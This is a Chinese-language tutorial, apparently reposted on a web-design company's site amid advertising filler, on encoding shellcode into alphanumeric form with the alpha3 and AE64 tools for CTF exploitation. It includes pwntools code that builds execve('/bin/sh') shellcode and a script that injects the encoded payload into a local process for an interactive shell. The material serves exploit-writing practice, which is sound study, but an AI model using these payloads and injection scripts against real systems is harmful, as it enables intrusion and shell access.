Shellcode生成方法是什么

本篇內(nèi)容介紹了“Shellcode生成方法是什么”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!

為青州等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計制作服務(wù),及青州網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都做網(wǎng)站、網(wǎng)站設(shè)計、青州網(wǎng)站設(shè)計,以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達到每一位用戶的要求,就會得到認(rèn)可,從而選擇與我們長期合作。這樣,我們也可以走得更遠(yuǎn)!

alpha3

這個工具源碼在google上,國內(nèi)可以選擇從github下載。不過官方代碼在Linux環(huán)境下運行時有些問題:

% python ALPHA3.py
Traceback (most recent call last):
  File "ALPHA3.py", line 4, in <module>import charsets, encode, io
  File "/home/taqini/ctf_tools/alpha3/encode.py", line 1, in <module>import ALPHA3
  File "/home/taqini/ctf_tools/alpha3/ALPHA3.py", line 5, in <module>import x86, x64, test
  File "/home/taqini/ctf_tools/alpha3/test/__init__.py", line 25, in <module>raise OSError("Unsupported platform for testing.");
OSError: Unsupported platform for testing.

看下報錯信息,發(fā)現(xiàn)錯誤在test/__init__.py中,打開源碼,發(fā)現(xiàn)有個判斷平臺的代碼,如果不是win32就報錯,解決方法很簡單,只需要把后兩行代碼注釋掉就行,修改如下:

if (sys.platform == 'win32'):
    # ...
    TEST_SHELLCODE_OUTPUT = "Hello, world!\r\n"
#else:
#  raise OSError("Unsupported platform for testing.");

再次運行就正常:

% python ALPHA3.py
____________________________________________________________________________
      ,sSSs,,s,  ,sSSSs,    ALPHA3 - Alphanumeric shellcode encoder.
     dS"  Y$P"  YS"  ,SY    Version 1.0 alpha
    iS'   dY       ssS"     Copyright (C) 2003-2009 by SkyLined.
    YS,  dSb   SP,  ;SP     <berendjanwever@gmail.com>`"YSS'"S'  "YSSSY"      http://skypher.com/wiki/index.php/ALPHA3
____________________________________________________________________________

[Usage]
  ALPHA3.py  [ encoder settings | I/O settings | flags ]

# ...

修改完之后還需要編譯源碼,但是編譯源碼的工具也在google上,如果懶得自己編譯,可以直接下載我修改版: https://github.com/TaQini/alpha3

git clone https://github.com/TaQini/alpha3.git

生成shellcode

from pwn import *
context.arch='amd64'
sc = shellcraft.sh()
print asm(sc)

將上述代碼保存成sc.py放到alpha3目錄下,然后執(zhí)行如下命令生成待編碼的shellcode文件

python sc.py > shellcode

默認(rèn)生成的是x64的sys_execve("/bin/sh",0,0),可以修改成其他的arch或shellcode

x64 alpha編碼

生成x64 alpha shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

或者用我寫的腳本:

./shellcode_x64.sh rax

其中輸入文件為shellcode,rax是用于編碼的寄存器(shellcode基址)

比如有如下代碼:

  00101246 48 8d     LEA    RAX,[RBP + -0x410]
           85 f0 
           fb ff 
  0010124d ff d0     CALL   RAX
  ; ...

通過call rax跳轉(zhuǎn)到shellcode,那么alpha3命令中用于編碼的寄存器就是rax

shellcode的起始地址存在哪個寄存器中,用于編碼的寄存器就是哪個

x86 alpha編碼

alpha3中x64的shellcode只要上述mixedcase一種情況,x86的選項比較多:

x86 ascii uppercase (數(shù)字+大寫字母)

x86 ascii lowercase (數(shù)字+小寫字母)

x86 ascii mixedcase (數(shù)字+大小寫字母)

用法與x64相似,不贅述啦~

全部編碼方式

alpha3支持的所有編碼方式如下:

Valid base address examples for each encoder, ordered by encoder settings,
are:

[x64 ascii mixedcase]
  AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI

[x86 ascii lowercase]
  AscLow 0x30 (rm32)        ECX EDX EBX

[x86 ascii mixedcase]
  AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
                            ECX+2 ESI+4 ESI+8
  AscMix 0x30 (i32)         (address)
  AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty
                            countslide:EBX+offset~uncertainty
                            countslide:ECX+offset~uncertainty
                            countslide:EDX+offset~uncertainty
                            countslide:ESI+offset~uncertainty
                            countslide:EDI+offset~uncertainty
  AscMix Countslide (i32)   countslide:address~uncertainty
  AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3

[x86 ascii uppercase]
  AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

[x86 latin-1 mixedcase]
  Latin1Mix CALL GetPC      call

[x86 utf-16 uppercase]
  UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
                            [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]

AE64

AE64是杭電的一位大師傅寫的工具,專用于生成64位的aplha shellcode。下載方式:

git clone https://github.com/veritas501/ae64.git

AE64的優(yōu)勢在于編碼時可以更加靈活地使用寄存器,但是生成的alpha shellcode比alpha3要更長一些。

此外AE64是python寫的,可以直接在python中調(diào)用,以下是官方的栗子:

from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./example1')

obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'r13')

p.sendline(sc)

p.interactive()

“Shellcode生成方法是什么”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!

標(biāo)題名稱:Shellcode生成方法是什么
網(wǎng)站鏈接:http://muchs.cn/article38/pieopp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營銷型網(wǎng)站建設(shè)、網(wǎng)站策劃、面包屑導(dǎo)航網(wǎng)站內(nèi)鏈、網(wǎng)站導(dǎo)航、網(wǎng)站制作

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都定制網(wǎng)站建設(shè)